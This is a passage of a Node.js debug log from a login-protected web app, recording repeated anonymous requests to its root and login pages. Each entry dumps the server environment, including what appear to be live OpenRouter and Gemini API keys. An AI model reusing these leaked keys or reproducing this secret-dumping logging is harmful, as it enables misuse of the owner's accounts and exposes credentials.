    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.94.85.68',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T18:02:54.501Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.94.85.68',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.94.85.68',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T19:53:21.815Z server-connect:router Serving templateView /
2026-04-07T19:53:21.817Z server-connect:app Executing action step identify
2026-04-07T19:53:21.817Z server-connect:app options: { provider: 'security' }
2026-04-07T19:53:21.817Z server-connect:auth No login cookie found
2026-04-07T19:53:21.817Z server-connect:output identity: false
2026-04-07T19:53:21.817Z server-connect:app Executing action step restrict
2026-04-07T19:53:21.817Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T19:53:21.818Z server-connect:output restrict: undefined
2026-04-07T19:53:22.172Z server-connect:router Serving templateView /login
2026-04-07T19:53:22.172Z server-connect:app Executing action step identify
2026-04-07T19:53:22.172Z server-connect:app options: { provider: 'security' }
2026-04-07T19:53:22.172Z server-connect:auth No login cookie found
2026-04-07T19:53:22.172Z server-connect:output identity: false
2026-04-07T19:53:22.172Z server-connect:router Render template layouts/authentication
2026-04-07T19:53:22.173Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.4.251.152',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T19:53:22.171Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.4.251.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.4.251.152',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T19:53:31.698Z server-connect:router Serving templateView /
2026-04-07T19:53:31.698Z server-connect:app Executing action step identify
2026-04-07T19:53:31.698Z server-connect:app options: { provider: 'security' }
2026-04-07T19:53:31.698Z server-connect:auth No login cookie found
2026-04-07T19:53:31.698Z server-connect:output identity: false
2026-04-07T19:53:31.698Z server-connect:app Executing action step restrict
2026-04-07T19:53:31.698Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T19:53:31.699Z server-connect:output restrict: undefined
2026-04-07T19:53:32.423Z server-connect:router Serving templateView /login
2026-04-07T19:53:32.423Z server-connect:app Executing action step identify
2026-04-07T19:53:32.423Z server-connect:app options: { provider: 'security' }
2026-04-07T19:53:32.423Z server-connect:auth No login cookie found
2026-04-07T19:53:32.424Z server-connect:output identity: false
2026-04-07T19:53:32.424Z server-connect:router Render template layouts/authentication
2026-04-07T19:53:32.424Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.4.251.152',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T19:53:32.423Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.4.251.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.4.251.152',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T19:54:19.766Z server-connect:router Serving templateView /
2026-04-07T19:54:19.767Z server-connect:app Executing action step identify
2026-04-07T19:54:19.767Z server-connect:app options: { provider: 'security' }
2026-04-07T19:54:19.767Z server-connect:auth No login cookie found
2026-04-07T19:54:19.767Z server-connect:output identity: false
2026-04-07T19:54:19.767Z server-connect:app Executing action step restrict
2026-04-07T19:54:19.767Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T19:54:19.768Z server-connect:output restrict: undefined
2026-04-07T19:54:19.915Z server-connect:router Serving templateView /login
2026-04-07T19:54:19.916Z server-connect:app Executing action step identify
2026-04-07T19:54:19.916Z server-connect:app options: { provider: 'security' }
2026-04-07T19:54:19.916Z server-connect:auth No login cookie found
2026-04-07T19:54:19.916Z server-connect:output identity: false
2026-04-07T19:54:19.916Z server-connect:router Render template layouts/authentication
2026-04-07T19:54:19.916Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '205.169.39.38',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T19:54:19.915Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.38',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '205.169.39.38',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T19:55:00.720Z server-connect:router Serving templateView /
2026-04-07T19:55:00.721Z server-connect:app Executing action step identify
2026-04-07T19:55:00.721Z server-connect:app options: { provider: 'security' }
2026-04-07T19:55:00.721Z server-connect:auth No login cookie found
2026-04-07T19:55:00.721Z server-connect:output identity: false
2026-04-07T19:55:00.721Z server-connect:app Executing action step restrict
2026-04-07T19:55:00.721Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T19:55:00.721Z server-connect:output restrict: undefined
2026-04-07T19:55:01.744Z server-connect:router Serving templateView /login
2026-04-07T19:55:01.745Z server-connect:app Executing action step identify
2026-04-07T19:55:01.745Z server-connect:app options: { provider: 'security' }
2026-04-07T19:55:01.745Z server-connect:auth No login cookie found
2026-04-07T19:55:01.745Z server-connect:output identity: false
2026-04-07T19:55:01.745Z server-connect:router Render template layouts/authentication
2026-04-07T19:55:01.745Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '185.213.155.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T19:55:01.744Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '185.213.155.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '185.213.155.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T19:56:44.147Z server-connect:router Serving templateView /
2026-04-07T19:56:44.148Z server-connect:app Executing action step identify
2026-04-07T19:56:44.148Z server-connect:app options: { provider: 'security' }
2026-04-07T19:56:44.148Z server-connect:auth No login cookie found
2026-04-07T19:56:44.148Z server-connect:output identity: false
2026-04-07T19:56:44.148Z server-connect:app Executing action step restrict
2026-04-07T19:56:44.148Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T19:56:44.148Z server-connect:output restrict: undefined
2026-04-07T19:56:45.525Z server-connect:router Serving templateView /login
2026-04-07T19:56:45.525Z server-connect:app Executing action step identify
2026-04-07T19:56:45.525Z server-connect:app options: { provider: 'security' }
2026-04-07T19:56:45.526Z server-connect:auth No login cookie found
2026-04-07T19:56:45.526Z server-connect:output identity: false
2026-04-07T19:56:45.526Z server-connect:router Render template layouts/authentication
2026-04-07T19:56:45.526Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '185.213.155.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T19:56:45.525Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '185.213.155.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '185.213.155.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:16:29.865Z server-connect:router Serving templateView /
2026-04-07T20:16:29.866Z server-connect:app Executing action step identify
2026-04-07T20:16:29.866Z server-connect:app options: { provider: 'security' }
2026-04-07T20:16:29.866Z server-connect:auth No login cookie found
2026-04-07T20:16:29.866Z server-connect:output identity: false
2026-04-07T20:16:29.866Z server-connect:app Executing action step restrict
2026-04-07T20:16:29.866Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:16:29.866Z server-connect:output restrict: undefined
2026-04-07T20:18:33.585Z server-connect:router Serving templateView /
2026-04-07T20:18:33.586Z server-connect:app Executing action step identify
2026-04-07T20:18:33.586Z server-connect:app options: { provider: 'security' }
2026-04-07T20:18:33.586Z server-connect:auth No login cookie found
2026-04-07T20:18:33.586Z server-connect:output identity: false
2026-04-07T20:18:33.586Z server-connect:app Executing action step restrict
2026-04-07T20:18:33.586Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:18:33.587Z server-connect:output restrict: undefined
2026-04-07T20:19:44.072Z server-connect:router Serving templateView /login
2026-04-07T20:19:44.072Z server-connect:app Executing action step identify
2026-04-07T20:19:44.072Z server-connect:app options: { provider: 'security' }
2026-04-07T20:19:44.072Z server-connect:auth No login cookie found
2026-04-07T20:19:44.072Z server-connect:output identity: false
2026-04-07T20:19:44.072Z server-connect:router Render template layouts/authentication
2026-04-07T20:19:44.073Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.165',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:19:44.071Z,
      originalMaxAge: 86400000,
